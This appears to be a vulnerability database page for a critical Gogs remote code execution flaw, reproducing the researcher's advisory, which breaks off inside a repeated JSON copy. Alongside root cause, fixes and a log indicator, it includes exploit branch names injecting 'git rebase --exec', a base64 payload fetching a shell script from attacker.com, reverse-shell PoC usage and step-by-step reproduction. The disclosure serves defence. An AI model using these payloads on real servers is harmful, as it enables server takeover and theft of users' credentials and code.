CVE-2026-52806: Gogs.io/gogs Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-qf6p-p7ww-cwr9
CVSS 9.9
CWE-77
Published
Advisory Summary

CVE-2026-52806 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting Gogs.io/gogs libraries in the Go ecosystem. The issue involves gogs vulnerable to rce via git rebase --exec argument injection in pull request merge. Remediation is available by upgrading affected packages to version 0.14.3.

CVE-2026-52806 at a Glance

CVE Identifier CVE-2026-52806
GHSA Identifier GHSA-qf6p-p7ww-cwr9
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Affected Product Gogs.io/gogs
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-52806

To remediate this vulnerability, upgrade all affected Gogs.io/gogs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gogs.io/gogs fixed: 0.14.3
Upgrade gogs.io/gogs to 0.14.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for gogs.io/gogs

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-52806, inspect your project dependencies for Gogs.io/gogs:

inspect dependencies for gogs.io/gogs

Analyze the terminal output to locate any version of Gogs.io/gogs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.14.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In Gogs.io/gogs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Gogs: RCE via `git rebase --exec` Argument Injection in PR Merge ## Summary Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the `--exec` flag into the `git rebase` command during the "Rebase before merging" merge operation. ## Severity **Critical** - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) ## Affected Versions - **Gogs 0.14.2** (latest supported release) - Gogs 0.15.0+dev (commit `b53d3162`, main branch as of 2026-03-16) - All prior versions that support the "Rebase before merging" merge style ## Impact This is a **privilege escalation from authenticated user to server-level code execution**. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server: - **Server compromise**: Arbitrary command execution as the Gogs process user - **Cross-tenant data breach**: Read ALL repositories on the instance, including other users' private repos - **Credential theft**: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user - **Lateral movement**: Pivot to other systems accessible from the server's network - **Supply chain attacks**: Silently modify any hosted repository's code. The Gogs process user (typically `git`) has direct filesystem-level read/write access to every repository on the instance under a single `REPOSITORY_ROOT` directory (default: `~/gogs-repositories`). There is no OS-level isolation between repositories; all access control is application-layer only. The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the `git` user (UID 1000 by default). The severity is heightened because: - **Open registration by default**: Gogs ships with `DISABLE_REGISTRATION = false`, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker. - **No admin required**: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: `PullsAllowRebase` defaults to `false`, but this is irrelevant since any repo creator can enable it themselves.) - The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit - The exploit is fully automatable (see PoC) - The exploit leaves minimal traces (a 500 error in server logs, easily missed) ## Prerequisites The attacker needs **one** of the following: - **Repo admin/owner** on any repository (can enable rebase + create PR + merge) - **any user who creates a repo has this by default** - **Write access** to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge) Note: "Rebase before merging" is NOT enabled by default (`PullsAllowRebase` defaults to `false` in `internal/database/repo.go:215`). However: - Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced - The repo settings endpoint (`/settings`, action=`advanced`) requires `reqRepoAdmin` middleware (`internal/cmd/web.go:472`) - collaborators with only write access cannot enable it, but repo owners/admins can - Many organizations enable rebase merge as a standard practice ## Root Cause Analysis In `internal/database/pull.go`, the [`Merge()` function](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) passes the PR's base branch name to `git rebase` as a positional argument without a `--` separator: ```go if _, stderr, err = process.ExecDir(-1, tmpBasePath, fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath), "git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil { ``` The `pr.BaseBranch` value originates from the [URL parameter](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L447) in `internal/route/repo/pull.go`: ```go baseRef := infos[0] // from strings.Split(c.Params("*"), "...") ``` Both `baseRef` and `headRef` are validated via [`RevParse`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L482) (defined in the external [`git-module`](https://github.com/gogs/git-module) library), but this only calls `git rev-parse --verify <ref>` - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, `RevParse` succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the `git rebase` command without a `--` separator. ## Exploitation Git branch names can legally contain characters `$`, `{`, `}`, `=`, `-`. The attacker creates a branch named: ```bash --exec=touch${IFS}/tmp/rce_proof ``` When used as `pr.BaseBranch` in the rebase command: ```bash git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature' ``` 1. Git's argument parser treats `--exec=touch${IFS}/tmp/rce_proof` as the `--exec` flag 2. The `--exec` flag specifies a command to run via `sh -c` after each replayed commit 3. `${IFS}` expands to a space in the shell, bypassing git's prohibition on spaces in branch names 4. The command `touch /tmp/rce_proof` executes as the Gogs server process user For commands containing characters forbidden in git refs (`:`, `~`, `^`, `?`, `*`, `[`, `\`, `//`), such as URLs, the attacker base64-encodes the payload: ```bash --exec=echo${IFS}<base64>|base64${IFS}-d|sh ``` For example, `curl https://attacker.com/shell.sh|sh` becomes: ```bash --exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh ``` This was validated end-to-end: a `wget` command with a URL executed inside the Docker container and wrote the fetched HTML to disk. ### Full Execution Flow in `Merge()` The `MergeStyleRebase` code path in `Merge()` executes these git commands sequentially: | Step | Command | Result with malicious branch | | ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- | | [1](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L233) | `git clone -b '<malicious>' <repo> <tmp>` | **Succeeds** - `-b` consumes `--exec=...` as the branch value | | [2](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L238-L248) | `git remote add head_repo <repo>` + `git fetch head_repo` | Succeeds normally | | [3](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) | `git rebase --quiet '<malicious>' 'head_repo/feature'` | **RCE fires here** - `--exec=<cmd>` parsed as flag, command runs via `sh -c` | | [4](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L290) | `git checkout -b <tmpBranch>` | Succeeds (tmpBranch is a server-generated timestamp) | | [5](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L297) | `git checkout '<malicious>'` | **Fails** - git interprets `--exec=...` as invalid option for checkout | Step 5 failure causes `Merge()` to return an error (HTTP 500), but **the RCE has already executed at Step 3**. The 500 error is logged but does not prevent exploitation. Defenders can look for this IOC in server logs: ```log [E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>' ``` This is logged via [`c.Error(err, "merge")`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L419) at ERROR level. ### Why the PR Becomes Mergeable The `testPatch()` function (called during PR creation at line 468) calls `UpdateLocalCopyBranch(pr.BaseBranch)` (`internal/database/repo.go:658`), which has two code paths: - **No local copy exists** (first call for a repo): Calls `git.Clone()` (line 664), which includes `--end-of-options` → the malicious branch name is treated as data, clone succeeds, and `testPatch` completes normally. - **Local copy already exists** (subsequent calls): Calls `gitRepo.Checkout(branch)` (line 684), which is missing `--end-of-options` → git interprets `--exec=...` as a flag → checkout fails → `testPatch` returns an error. The exploit relies on the following causal chain: 1. During PR creation (`NewPullRequest`, line 468), `testPatch()` is called. For a **fresh repository** with no local copy, the Clone path succeeds. 2. Because `testPatch` didn't set the status to `PullRequestStatusConflict`, the status remains `PullRequestStatusChecking`, and the code at line 472-473 promotes it to `PullRequestStatusMergeable`. 3. The background `TestPullRequests` goroutine (line 840) periodically re-checks PRs. When it calls `testPatch` again, the local copy now exists, so `UpdateLocalCopyBranch` takes the Checkout path → fails → returns an error. 4. This error causes `TestPullRequests` to skip adding the PR to the update list (`return nil` at line 855) or skip `checkAndUpdateStatus()` (`continue` at line 877). Because `checkAndUpdateStatus` is never called, **the PR status remains at Mergeable indefinitely**. The PoC handles this by creating a **fresh repository** (no local copy exists yet), ensuring the first `testPatch` succeeds via the Clone path. ### Proof of Concept A standalone Python exploit (`gogs-rebase-rce.py`) is attached to this advisory. It automates the full exploit chain (authentication, repo creation, rebase enablement, payload delivery, PR creation, merge trigger, and cleanup) and supports both Linux and Windows targets. Requires Python 3.8+, `requests`, and a local `git` installation. #### Usage ```bash # Reverse shell (Linux) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> # Reverse shell (Windows) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> --os windows # Custom command python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -c 'id > /tmp/pwned' # Version fingerprint only (no exploit) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 --check ``` #### Demo Run the PoC with a reverse shell payload: ```bash python3 gogs-rebase-rce.py -t http://localhost:3080 -u attacker -p Password123 -l 172.17.0.1 -x 1337 [*] Fingerprinting target... [+] Gogs 0.14.2 detected [*] Authenticating as "attacker" [+] Authenticated [*] Creating repository [+] Repository xxxx-yyyy created [*] Enabling rebase merge [+] Rebase merge enabled [*] Pushing branches via git [+] Branches pushed [*] Creating pull request [+] PR #1 created [*] Triggering rebase merge - RCE fires now! [+] Rebase merge triggered ``` Checking the listener: ```bash $ nc -nlvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 43240 $ whoami git ``` ### Manual Browser Reproduction This can be reproduced entirely through the Gogs web UI: **Prerequisites**: A running Gogs instance (e.g., `http://localhost:3080`) with a registered user account. **Step 1: Create a repository and push branches** ```bash # Create repo via Gogs API curl -s -u attacker:Password123 -X POST http://localhost:3080/api/v1/user/repos \ -H 'Content-Type: application/json' -d '{"name":"demo"}' # Set up local repo with divergent branches mkdir /tmp/demo && cd /tmp/demo && git init git config user.email "attacker@test.com" && git config user.name "attacker" echo "# Demo" > README.md && git add . && git commit -m "Initial commit" git checkout -b feature echo "feature" > feature.txt && git add . && git commit -m "Add feature" git checkout master echo "update" >> README.md && git add . && git commit -m "Update master" # Create the malicious branch (same commit as master) git update-ref 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' HEAD # Push all branches git remote add origin http://attacker:Password123@localhost:3080/attacker/demo.git git push origin master feature 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF:refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' ``` **Step 2: Enable rebase in repo settings** 1. Navigate to `http://localhost:3080/attacker/demo/settings` 2. Click **Advanced Settings** 3. Check **Enable Pull Requests**, then check **Allow rebase** 4. Click **Save** (Or update the database directly: `UPDATE repository SET enable_pulls=1, pulls_allow_rebase=1 WHERE lower_name='demo';`) **Step 3: Create the Pull Request** Navigate to the compare URL (base = malicious branch, head = feature): ``` http://localhost:3080/attacker/demo/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2FBROWSER_RCE_PROOF...feature ``` Enter a title (e.g., "RCE PoC") and click **New Pull Request**. **Step 4: Wait for testPatch (~5 seconds)** The background `TestPullRequests` goroutine must set the PR to Mergeable. Wait a few seconds, then refresh the PR page. The merge button should appear. **Step 5: Trigger the merge** 1. On the PR page (`/attacker/demo/pulls/1`), select **Rebase before merging** 2. Click **Merge Pull Request** 3. The server returns HTTP 500 (expected - `git checkout` of the malicious branch name fails after rebase) **Step 6: Verify RCE** ```bash $ ls -la /tmp/BROWSER_RCE_PROOF -rw-rw-r-- 1 cryptocat cryptocat 0 Mar 16 18:02 /tmp/BROWSER_RCE_PROOF ``` The file was created by the Gogs server process during `git rebase --exec` ## Recommended Fix ### Primary fix: Add `--` separator ```go // internal/database/pull.go line 282 "git", "rebase", "--quiet", "--", pr.BaseBranch, remoteHeadBranch ``` ### Defense-in-depth: Validate branch names Reject base branch names starting with `-` at the PR creation endpoint: ```go // internal/route/repo/pull.go, after line 447 if strings.HasPrefix(baseRef, "-") { c.NotFound() return nil, nil, nil, nil, "", "" } ``` ### Additional hardening Apply `--` separators to all other `process.ExecDir` calls in `Merge()` that use `pr.BaseBranch`: - Line 233: `git clone -b pr.BaseBranch` (not directly exploitable but should be hardened) - Line 297: `git checkout pr.BaseBranch` (currently fails, but should use `-- pr.BaseBranch`) - Line 315: `git push <repo> pr.BaseBranch` (should use `--` separator) ## Relationship to Prior Argument Injection Fixes This vulnerability is an **incomplete fix bypass** of the Category A argument injection invariant that Gogs has been patching across multiple advisories: | Advisory | CVE | Description | Fix Applied | | ------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | -------------------------------------------- | -------------------------------------------------------------- | | [GHSA-m27m-h5gj-wwmg](https://github.com/gogs/gogs/security/advisories/GHSA-m27m-h5gj-wwmg) | [CVE-2024-39933](https://nvd.nist.gov/vuln/detail/CVE-2024-39933) | Argument injection when tagging new releases | Added `--` separator to `git tag` | | [GHSA-9pp6-wq8c-3w2c](https://github.com/gogs/gogs/security/advisories/GHSA-9pp6-wq8c-3w2c) | [CVE-2024-39932](https://nvd.nist.gov/vuln/detail/CVE-2024-39932) | Argument injection during changes preview | Added `--end-of-options` to `git diff` | | [GHSA-v9vm-r24h-6rqm](https://github.com/gogs/gogs/security/advisories/GHSA-v9vm-r24h-6rqm) | [CVE-2026-26194](https://nvd.nist.gov/vuln/detail/CVE-2026-26194) | Release tag option injection in deletion | Migrated to safe git-module API | | [GHSA-vm62-9jw3-c8w3](https://github.com/gogs/gogs/security/advisories/GHSA-vm62-9jw3-c8w3) | [CVE-2024-39930](https://nvd.nist.gov/vuln/detail/CVE-2024-39930) | Argument injection in built-in SSH server | Added `--` separator to `git upload-pack` / `git receive-pack` | The [`git-module` library](https://github.com/gogs/git-module) (`v1.8.7`) was hardened with `--end-of-options` in `Clone()`, `Push()`, `Fetch()`, and 28 other call sites. However, the `Merge()` function in `internal/database/pull.go` **bypasses all of these protections** because it uses raw `process.ExecDir` (which wraps `exec.Command` directly) instead of the safe git-module API. The [`git rebase` call](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) was never migrated. Notably, `git-module.Checkout()` is also missing `--end-of-options` — a separate gap that incidentally causes the `testPatch` race condition this exploit leverages (see "Why the PR Becomes Mergeable" above). ## Affected Platforms The vulnerability has been confirmed on: - **Linux**: Docker (official image) and binary installation on Ubuntu 24.04 - **Windows**: Binary installation with Git for Windows (MSYS2) On Windows, the base64 inline payload approach fails because NTFS forbids the `|` character in filenames (git stores refs as files). The exploit uses file-based payload delivery instead: the payload is committed as a script file, and the branch name becomes `--exec=sh${IFS}<filename>`. An `sh` wrapper invokes `cmd.exe //c <payload>.bat` to avoid MSYS2 shell metacharacter mangling. The attached PoC handles this automatically. ## Test Environment - **OS**: Ubuntu Linux 24.04, Windows (Git for Windows) - **Gogs version**: 0.14.2 (also confirmed on 0.15.0+dev, commit `b53d3162`) - **Go version**: go1.26.1 - **Database**: SQLite - **Deployment**: Docker (official image), binary, and built from source ## Credit Jonah Burgess (CryptoCat) - Senior Security Researcher @Rapid7

CVE-2026-52806 Affected Gogs.io/gogs Versions

1 component(s)
Fixed Versions:
0.14.3
Product / Package Ecosystem Affected Versions Fixed Version
gogs.io/gogs
Go
< 0.14.3
0.14.3

References

Frequently Asked Questions

What is CVE-2026-52806?
CVE-2026-52806 is a security vulnerability in Gogs.io/gogs involving Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').
Which Gogs.io/gogs versions are affected?
Affected versions include releases prior to 0.14.3 across affected packages: gogs.io/gogs.
What version fixes CVE-2026-52806?
Upgrading to 0.14.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gogs.io/gogs affected?
Yes, gogs.io/gogs is affected in releases prior to 0.14.3. Upgrade your dependency to 0.14.3 or later.
What is the CVSS score of CVE-2026-52806?
CVE-2026-52806 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-52806?
CVE-2026-52806 is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-52806?
Run the dependency tree command: 'inspect dependencies for gogs.io/gogs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qf6p-p7ww-cwr9",
  "modified" : "2026-07-21T13:35:52Z",
  "published" : "2026-06-23T17:02:40Z",
  "aliases" : [ "CVE-2026-52806" ],
  "summary" : "Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge",
  "details" : "# Gogs: RCE via `git rebase --exec` Argument Injection in PR Merge\n\n## Summary\n\nGogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the `--exec` flag into the `git rebase` command during the \"Rebase before merging\" merge operation.\n\n## Severity\n\n**Critical** - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Versions\n\n- **Gogs 0.14.2** (latest supported release)\n- Gogs 0.15.0+dev (commit `b53d3162`, main branch as of 2026-03-16)\n- All prior versions that support the \"Rebase before merging\" merge style\n\n## Impact\n\nThis is a **privilege escalation from authenticated user to server-level code execution**. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server:\n\n- **Server compromise**: Arbitrary command execution as the Gogs process user\n- **Cross-tenant data breach**: Read ALL repositories on the instance, including other users' private repos\n- **Credential theft**: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user\n- **Lateral movement**: Pivot to other systems accessible from the server's network\n- **Supply chain attacks**: Silently modify any hosted repository's code. The Gogs process user (typically `git`) has direct filesystem-level read/write access to every repository on the instance under a single `REPOSITORY_ROOT` directory (default: `~/gogs-repositories`). There is no OS-level isolation between repositories; all access control is application-layer only.\n\nThe vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the `git` user (UID 1000 by default).\n\nThe severity is heightened because:\n\n- **Open registration by default**: Gogs ships with `DISABLE_REGISTRATION = false`, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker.\n- **No admin required**: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: `PullsAllowRebase` defaults to `false`, but this is irrelevant since any repo creator can enable it themselves.)\n- The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit\n- The exploit is fully automatable (see PoC)\n- The exploit leaves minimal traces (a 500 error in server logs, easily missed)\n\n## Prerequisites\n\nThe attacker needs **one** of the following:\n\n- **Repo admin/owner** on any repository (can enable rebase + create PR + merge) - **any user who creates a repo has this by default**\n- **Write access** to a repository where \"Rebase before merging\" is already enabled by the owner (can create malicious branch + PR + merge)\n\nNote: \"Rebase before merging\" is NOT enabled by default (`PullsAllowRebase` defaults to `false` in `internal/database/repo.go:215`). However:\n\n- Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced\n- The repo settings endpoint (`/settings`, action=`advanced`) requires `reqRepoAdmin` middleware (`internal/cmd/web.go:472`) - collaborators with only write access cannot enable it, but repo owners/admins can\n- Many organizations enable rebase merge as a standard practice\n\n## Root Cause Analysis\n\nIn `internal/database/pull.go`, the [`Merge()` function](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) passes the PR's base branch name to `git rebase` as a positional argument without a `--` separator:\n\n```go\nif _, stderr, err = process.ExecDir(-1, tmpBasePath,\n    fmt.Sprintf(\"PullRequest.Merge (git rebase): %s\", tmpBasePath),\n    \"git\", \"rebase\", \"--quiet\", pr.BaseBranch, remoteHeadBranch); err != nil {\n```\n\nThe `pr.BaseBranch` value originates from the [URL parameter](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L447) in `internal/route/repo/pull.go`:\n\n```go\nbaseRef := infos[0]  // from strings.Split(c.Params(\"*\"), \"...\")\n```\n\nBoth `baseRef` and `headRef` are validated via [`RevParse`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L482) (defined in the external [`git-module`](https://github.com/gogs/git-module) library), but this only calls `git rev-parse --verify <ref>` - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, `RevParse` succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the `git rebase` command without a `--` separator.\n\n## Exploitation\n\nGit branch names can legally contain characters `$`, `{`, `}`, `=`, `-`. The attacker creates a branch named:\n\n```bash\n--exec=touch${IFS}/tmp/rce_proof\n```\n\nWhen used as `pr.BaseBranch` in the rebase command:\n\n```bash\ngit rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'\n```\n\n1. Git's argument parser treats `--exec=touch${IFS}/tmp/rce_proof` as the `--exec` flag\n2. The `--exec` flag specifies a command to run via `sh -c` after each replayed commit\n3. `${IFS}` expands to a space in the shell, bypassing git's prohibition on spaces in branch names\n4. The command `touch /tmp/rce_proof` executes as the Gogs server process user\n\nFor commands containing characters forbidden in git refs (`:`, `~`, `^`, `?`, `*`, `[`, `\\`, `//`), such as URLs, the attacker base64-encodes the payload:\n\n```bash\n--exec=echo${IFS}<base64>|base64${IFS}-d|sh\n```\n\nFor example, `curl https://attacker.com/shell.sh|sh` becomes:\n\n```bash\n--exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh\n```\n\nThis was validated end-to-end: a `wget` command with a URL executed inside the Docker container and wrote the fetched HTML to disk.\n\n### Full Execution Flow in `Merge()`\n\nThe `MergeStyleRebase` code path in `Merge()` executes these git commands sequentially:\n\n| Step                                                                               | Command                                                   | Result with malicious branch                                                 |\n| ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- |\n| [1](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L233)      | `git clone -b '<malicious>' <repo> <tmp>`                 | **Succeeds** - `-b` consumes `--exec=...` as the branch value                |\n| [2](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L238-L248) | `git remote add head_repo <repo>` + `git fetch head_repo` | Succeeds normally                                                            |\n| [3](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282)      | `git rebase --quiet '<malicious>' 'head_repo/feature'`    | **RCE fires here** - `--exec=<cmd>` parsed as flag, command runs via `sh -c` |\n| [4](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L290)      | `git checkout -b <tmpBranch>`                             | Succeeds (tmpBranch is a server-generated timestamp)                         |\n| [5](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L297)      | `git checkout '<malicious>'`                              | **Fails** - git interprets `--exec=...` as invalid option for checkout       |\n\nStep 5 failure causes `Merge()` to return an error (HTTP 500), but **the RCE has already executed at Step 3**. The 500 error is logged but does not prevent exploitation. Defenders can look for this IOC in server logs:\n\n```log\n[E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>'\n```\n\nThis is logged via [`c.Error(err, \"merge\")`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L419) at ERROR level.\n\n### Why the PR Becomes Mergeable\n\nThe `testPatch()` function (called during PR creation at line 468) calls `UpdateLocalCopyBranch(pr.BaseBranch)` (`internal/database/repo.go:658`), which has two code paths:\n\n- **No local copy exists** (first call for a repo): Calls `git.Clone()` (line 664), which includes `--end-of-options` → the malicious branch name is treated as data, clone succeeds, and `testPatch` completes normally.\n- **Local copy already exists** (subsequent calls): Calls `gitRepo.Checkout(branch)` (line 684), which is missing `--end-of-options` → git interprets `--exec=...` as a flag → checkout fails → `testPatch` returns an error.\n\nThe exploit relies on the following causal chain:\n\n1. During PR creation (`NewPullRequest`, line 468), `testPatch()` is called. For a **fresh repository** with no local copy, the Clone path succeeds.\n2. Because `testPatch` didn't set the status to `PullRequestStatusConflict`, the status remains `PullRequestStatusChecking`, and the code at line 472-473 promotes it to `PullRequestStatusMergeable`.\n3. The background `TestPullRequests` goroutine (line 840) periodically re-checks PRs. When it calls `testPatch` again, the local copy now exists, so `UpdateLocalCopyBranch` takes the Checkout path → fails → returns an error.\n4. This error causes `TestPullRequests` to skip adding the PR to the update list (`return nil` at line 855) or skip `checkAndUpdateStatus()` (`continue` at line 877). Because `checkAndUpdateStatus` is never called, **the PR status remains at Mergeable indefinitely**.\n\nThe PoC handles this by creating a **fresh repository** (no local copy exists yet), ensuring the first `testPatch` succeeds via the Clone path.\n\n### Proof of Concept\n\nA standalone Python exploit (`gogs-rebase-rce.py`) is attached to this advisory. It automates the full exploit chain (authentication, repo creation, rebase enablement, payload delivery, PR creation, merge trigger, and cleanup) and supports both Linux and Windows targets. Requires Python 3.8+, `requests`, and a local `git` installation.\n\n#### Usage\n\n```bash\n# Reverse shell (Linux)\npython3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT>\n\n# Reverse shell (Windows)\npython3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> --os windows\n\n# Custom command\npython3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -c 'id > /tmp/pwned'\n\n# Version fingerprint only (no exploit)\npython3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 --check\n```\n\n#### Demo\n\nRun the PoC with a reverse shell payload:\n\n```bash\npython3 gogs-rebase-rce.py -t http://localhost:3080 -u attacker -p Password123 -l 172.17.0.1 -x 1337\n\n[*] Fingerprinting target...\n[+] Gogs 0.14.2 detected\n[*] Authenticating as \"attacker\"\n[+] Authenticated\n[*] Creating repository\n[+] Repository xxxx-yyyy created\n[*] Enabling rebase merge\n[+] Rebase merge enabled\n[*] Pushing branches via git\n[+] Branches pushed\n[*] Creating pull request\n[+] PR #1 created\n[*] Triggering rebase merge - RCE fires now!\n[+] Rebase merge triggered\n```\n\nChecking the listener:\n\n```bash\n$ nc -nlvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 43240\n$ whoami\ngit\n```\n\n### Manual Browser Reproduction\n\nThis can be reproduced entirely through the Gogs web UI:\n\n**Prerequisites**: A running Gogs instance (e.g., `http://localhost:3080`) with a registered user account.\n\n**Step 1: Create a repository and push branches**\n\n```bash\n# Create repo via Gogs API\ncurl -s -u attacker:Password123 -X POST http://localhost:3080/api/v1/user/repos \\\n  -H 'Content-Type: application/json' -d '{\"name\":\"demo\"}'\n\n# Set up local repo with divergent branches\nmkdir /tmp/demo && cd /tmp/demo && git init\ngit config user.email \"attacker@test.com\" && git config user.name \"attacker\"\necho \"# Demo\" > README.md && git add . && git commit -m \"Initial commit\"\ngit checkout -b feature\necho \"feature\" > feature.txt && git add . && git commit -m \"Add feature\"\ngit checkout master\necho \"update\" >> README.md && git add . && git commit -m \"Update master\"\n\n# Create the malicious branch (same commit as master)\ngit update-ref 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' HEAD\n\n# Push all branches\ngit remote add origin http://attacker:Password123@localhost:3080/attacker/demo.git\ngit push origin master feature 